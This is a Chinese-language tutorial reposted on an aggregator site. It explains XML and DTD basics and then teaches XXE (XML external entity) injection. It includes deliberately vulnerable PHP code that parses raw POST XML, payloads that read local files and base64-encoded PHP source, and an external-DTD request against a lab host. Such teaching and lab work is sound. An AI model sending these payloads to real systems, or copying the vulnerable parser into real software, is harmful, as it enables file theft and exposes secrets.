-XXE漏洞
Posted g0rez
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了-XXE漏洞相关的知识,希望对你有一定的参考价值。
第一节 XML快速入门
1.1 XML介绍及用途
XML 被设计用来传输和存储数据。XML 文档形成了一种树结构,它从"根部"开始,然后扩展到"枝叶"。XML 允许创作者定义自己的标签和自己的文档结构。
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
1.2 XML语法规则
1、所有的 XML 元素都必须有一个关闭标签
2、XML 标签对大小写敏感
3、XML 必须正确嵌套
4、XML 属性值必须加引号
5、实体引用
6、在 XML 中,空格会被保留
1.3 XML元素介绍
XML 元素指的是从(且包括)开始标签直到(且包括)结束标签的部分。
每个元素又可以有对应的属性。XML 属性必须加引号
注意:
XML 文档必须有一个根元素
XML元素都必须有一个关闭标签
XML 标签对大小写敏感
XML 元素必须被正确的嵌套
XML 属性值必须加引号
<?xml version="1.0" encoding="ISO-8859-1"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
1.4 XML DTD介绍
拥有正确语法的 XML 被称为"形式良好"的 XML。通过 DTD 验证的XML是"合法"的 XML。
<?xml version="1.0" ?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<message>Don't forget me this weekend!</message>
</note>
第二节 DTD快速入门
2.1 DTD声明类型
内部的 DOCTYPE 声明:
<!DOCTYPE root-element [element-declarations]>
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
外部文档声明:假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
note.dtd
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
2.2 DTD数据类型
PCDATA 的意思是被解析的字符数据(parsed character data)。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开
2.3 DTD实体介绍
实体是用于定义引用普通文本或特殊字符的快捷方式的变量
内部实体:
<!ENTITY entity-name "entity-value">
外部实体:
<!ENTITY entity-name SYSTEM "URI/URL">
2.4 XML注入产生原因
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。
xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
第三节 简单XXE漏洞代码编写
3.1 file_get_content函数介绍
file_get_contents() 函数把整个文件读入一个字符串中。
3.2 php://input介绍
php://input 是个可以访问请求的原始数据的只读流。
结合file_get_contents(“php://input”)可以读取POST提交的数据。
案例说明:输出POST提交的内容。
3.3 simplexml_load_string函数介绍
php中的simplexml_load_string函数将xml格式字符串转换为对应的SimpleXMLElement
例如:
$note=<<<XML<note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body></note>XML;
$xml=simplexml_load_string($note);
print_r($xml);
3.4 XML注入回显 输出函数
在PHP中可以使用 print_r() 、echo 输出想要输出的内容。
给出完整存在XXE漏洞代码:
<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;//注释掉该语句即为无回显的情况
?>
读取本地文件Payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]>
<root>
<name>&xxe;</name>
</root>
第四节 XXE漏洞简单利用-任意文件读取
4.1 测试代码介绍
<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;//注释掉该语句即为无回显的情况
?>
4.2 php中测试POC
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
4.3 读取文本文档
Payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://test/flag.txt" >]>
<value>&xxe;</value>
4.4 读取PHP文件
直接利用file协议读取PHP文件会出现错误,那么需要使用base64编码来进行读取。
Payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=test.php
" >]>
<value>&xxe;</value>
第五节 XXE漏洞利用-任意文件读取
5.1 环境搭建
直接在VM中新建虚拟机,加载iso镜像即可。 默认用户名和密码 都是 pentestlab
下载地址:https://isos.pentesterlab.com/play_xxe.iso
5.2 测试原理
5.3 请求XML
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://192.168.1.103/test.dtd">
<foo>&e1;</foo>
5.4 服务器DTD
使用gedit将test.dtd中内容设置为下图的文件内容。
使用wireshark 抓取http包查看信息。
以上是关于-XXE漏洞的主要内容,如果未能解决你的问题,请参考以下文章